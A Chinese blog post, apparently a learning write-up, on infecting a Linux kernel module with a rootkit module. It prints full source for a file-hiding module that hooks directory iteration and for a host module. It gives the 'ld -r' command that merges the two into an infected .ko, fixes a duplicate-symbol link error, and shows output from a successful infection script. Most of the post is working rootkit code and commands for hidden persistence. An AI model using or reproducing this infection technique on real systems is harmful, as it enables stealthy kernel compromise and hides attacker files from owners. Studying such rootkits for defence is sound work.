使用GUN ld命令进行内核模块感染时报错

在研究novice大佬感染一个示例内核模块的时候,ld命令链接报错,先上大佬两个驱动文件

codeinj.c(宿主驱动模块)

# ifndef CPP
# include <linux/module.h>
# include <linux/kernel.h>
# endif // CPP

# include "zeroevil/zeroevil.h"

MODULE_LICENSE("GPL");

int
codeinj_init(void)
{
    fm_alert("codeinj: %s\n", "Greetings the World!");
    return 0;
}

void
codeinj_exit(void)
{
    fm_alert("codeinj: %s\n", "Farewell the World!");
    return;
}

module_init(codeinj_init);
module_exit(codeinj_exit);

fshid.c(恶意驱动模块,做文件隐藏,劫持codeinj模块)

# ifndef CPP
# include <linux/module.h>
# include <linux/kernel.h>
# include <linux/fs.h> // filp_open, filp_close.
# endif // CPP

# include "zeroevil/zeroevil.h"


MODULE_LICENSE("GPL");

# define ROOT_PATH "/"
# define SECRET_FILE "032416_525.mp4"

int
(*real_iterate)(struct file *filp, struct dir_context *ctx);
int
(*real_filldir)(struct dir_context *ctx,
                const char *name, int namlen,
                loff_t offset, u64 ino, unsigned d_type);

int
fake_iterate(struct file *filp, struct dir_context *ctx);
int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned d_type);

extern int
codeinj_init(void);
extern void
codeinj_exit(void);


int
fshid_init(void)
{
    codeinj_init();

    fm_alert("%s\n", "Greetings the World!");

    set_file_op(iterate, ROOT_PATH, fake_iterate, real_iterate);

    if (!real_iterate) {
        return -ENOENT;
    }

    return 0;
}


void
fshid_exit(void)
{
    codeinj_exit();

    if (real_iterate) {
        void *dummy;
        set_file_op(iterate, ROOT_PATH, real_iterate, dummy);
    }

    fm_alert("%s\n", "Farewell the World!");
    return;
}


/* module_init(fshid_init); */
/* module_exit(fshid_exit); */


int
fake_iterate(struct file *filp, struct dir_context *ctx)
{
    real_filldir = ctx->actor;
    *(filldir_t *)&ctx->actor = fake_filldir;

    return real_iterate(filp, ctx);
}


int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned d_type)
{
    if (strcmp(name, SECRET_FILE) == 0) {
        fm_alert("Hiding: %s", name);
        return 0;
    }

    /* pr_cont("%s ", name); */

    return real_filldir(ctx, name, namlen, offset, ino, d_type);
}

这个驱动主要做的就是隐藏test文件夹下的"032416_525.mp4"文件
在这里插入图片描述
在此之前先介绍ld命令,ld 命令是二进制工具集 GNU Binutils 的一员,是 GNU 链接器,用于将目标文件与库链接为可执行文件或库文件,-r,–relocatable 生成可重定位的输出(称为部分连接)。
分别make两个驱动之后,使用以下命令将编译出来的codeinjko和fshidko文件链接为infectied.ko。

ld -r codeinjko.ko fshid/fshidko.ko -o infected.ko

但是在链接过程中,这边报错了,报错如下:

curits@curits-virtual-machine:~/Desktop/research-rootkit-master/3-persistence/codeinj$ ld -r codeinjko.ko fshid/fshidko.ko -o infected.ko
fshid/fshidko.ko: In function `print_process_list':
(.text+0x3e0): multiple definition of `print_process_list'
codeinjko.ko:(.text+0x170): first defined here
fshid/fshidko.ko: In function `print_memory':
(.text+0xcf0): multiple definition of `print_memory'
codeinjko.ko:(.text+0xa80): first defined here
fshid/fshidko.ko: In function `cleanup_module':
(.text+0x1c0): multiple definition of `cleanup_module'
codeinjko.ko:(.text+0x30): first defined here
fshid/fshidko.ko: In function `get_sct_via_sys_close':
(.text+0x330): multiple definition of `get_sct_via_sys_close'
codeinjko.ko:(.text+0xc0): first defined here
fshid/fshidko.ko: In function `get_sct':
(.text+0x2f0): multiple definition of `get_sct'
codeinjko.ko:(.text+0x80): first defined here
fshid/fshidko.ko: In function `init_module':
(.text+0xa0): multiple definition of `init_module'
codeinjko.ko:(.text+0x0): first defined here
fshid/fshidko.ko: In function `get_lstar_sct':
(.text+0xa90): multiple definition of `get_lstar_sct'
codeinjko.ko:(.text+0x820): first defined here
fshid/fshidko.ko: In function `resume_inline_hook':
(.text+0xc00): multiple definition of `resume_inline_hook'
codeinjko.ko:(.text+0x990): first defined here
fshid/fshidko.ko: In function `set_lstar_sct':
(.text+0xac0): multiple definition of `set_lstar_sct'
codeinjko.ko:(.text+0x850): first defined here
fshid/fshidko.ko: In function `print_dents':
(.text+0x6a0): multiple definition of `print_dents'
codeinjko.ko:(.text+0x430): first defined here
fshid/fshidko.ko: In function `pause_inline_hook':
(.text+0xb90): multiple definition of `pause_inline_hook'
codeinjko.ko:(.text+0x920): first defined here
fshid/fshidko.ko: In function `disable_wp':
(.text+0x340): multiple definition of `disable_wp'
codeinjko.ko:(.text+0xd0): first defined here
fshid/fshidko.ko: In function `remove_dent64':
(.text+0x960): multiple definition of `remove_dent64'
codeinjko.ko:(.text+0x6f0): first defined here
fshid/fshidko.ko: In function `enable_wp':
(.text+0x390): multiple definition of `enable_wp'
codeinjko.ko:(.text+0x120): first defined here
fshid/fshidko.ko: In function `remove_dent':
(.text+0x880): multiple definition of `remove_dent'
codeinjko.ko:(.text+0x610): first defined here
fshid/fshidko.ko: In function `print_module_list':
(.text+0x580): multiple definition of `print_module_list'
codeinjko.ko:(.text+0x310): first defined here
fshid/fshidko.ko: In function `remove_inline_hook':
(.text+0x1020): multiple definition of `remove_inline_hook'
codeinjko.ko:(.text+0xdb0): first defined here
fshid/fshidko.ko: In function `phys_to_virt_kern':
(.text+0xb70): multiple definition of `phys_to_virt_kern'
codeinjko.ko:(.text+0x900): first defined here
fshid/fshidko.ko: In function `install_inline_hook':
(.text+0xea0): multiple definition of `install_inline_hook'
codeinjko.ko:(.text+0xc30): first defined here
fshid/fshidko.ko: In function `join_strings':
(.text+0xc70): multiple definition of `join_strings'
codeinjko.ko:(.text+0xa00): first defined here
fshid/fshidko.ko: In function `print_dents64':
(.text+0x790): multiple definition of `print_dents64'
codeinjko.ko:(.text+0x520): first defined here
fshid/fshidko.ko: In function `get_lstar_sct_addr':
(.text+0xa40): multiple definition of `get_lstar_sct_addr'
codeinjko.ko:(.text+0x7d0): first defined here
fshid/fshidko.ko: In function `print_ascii':
(.text+0x10e0): multiple definition of `print_ascii'

意思就是说,两个ko文件对以上函数都进行了定义,重复定义,因为两个ko文件在编译的时候都包含了头文件

# include "zeroevil/zeroevil.h"

这边的解决办法是修改宿主.c文件,不包含zoroevil.h这个文件就可以了,代码修改如下所示
codeinj.c

//# ifndef CPP
# include <linux/module.h>
# include <linux/kernel.h>
//# endif // CPP

//# include "zeroevil/zeroevil.h"


MODULE_LICENSE("GPL");


int
codeinj_init(void)
{	
	//只需要简单打印信息就可以
    printk("Greetings the World!");
    return 0;
}


void
codeinj_exit(void)
{
    printk("Farewell the World!");

    return;
}


module_init(codeinj_init);
module_exit(codeinj_exit);

Makefile:

CONFIG_MODULE_SIG=n

ifeq ($(KERNELRELEASE),)

ROOTS_DIR = /root/
#内核源码路径,不同环境可能会不一样,内核源码一定要先编译
KERNEL_DIR = /lib/modules/$(shell uname -r)/build
CUR_DIR = $(shell pwd)

all: 
        make -C $(KERNEL_DIR) M=$(CUR_DIR) modules
clean :
        make -C $(KERNEL_DIR) M=$(CUR_DIR) clean
else
#用于指定到底编译的是哪个代码--hello.c
obj-m += codeinj.o

endif

成功编译后,再执行ld命令不再报错,fshid 感染到codeinj.ko成功

curtis@curtis-virtual-machine:~/Desktop/research-rootkit-master/3-persistence/codeinj$ ./infect.sh 
WARNING: "codeinj_exit" [/home/curtis/Desktop/research-rootkit-master/3-persistence/codeinj/fshid/fshidko.ko] undefined!
WARNING: "codeinj_init" [/home/curtis/Desktop/research-rootkit-master/3-persistence/codeinj/fshid/fshidko.ko] undefined!
    57: 0000000000000020    25 FUNC    GLOBAL DEFAULT    2 cleanup_module
    63: 0000000000000000    27 FUNC    GLOBAL DEFAULT    2 init_module
    85: 0000000000000220   280 FUNC    GLOBAL DEFAULT    2 fshid_exit
    97: 00000000000000f0   295 FUNC    GLOBAL DEFAULT    2 fshid_init
Writing complete.
Writing complete.
    57: 0000000000000220    25 FUNC    GLOBAL DEFAULT    2 cleanup_module
    63: 00000000000000f0    27 FUNC    GLOBAL DEFAULT    2 init_module
    85: 0000000000000220   280 FUNC    GLOBAL DEFAULT    2 fshid_exit
    97: 00000000000000f0   295 FUNC    GLOBAL DEFAULT    2 fshid_init
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值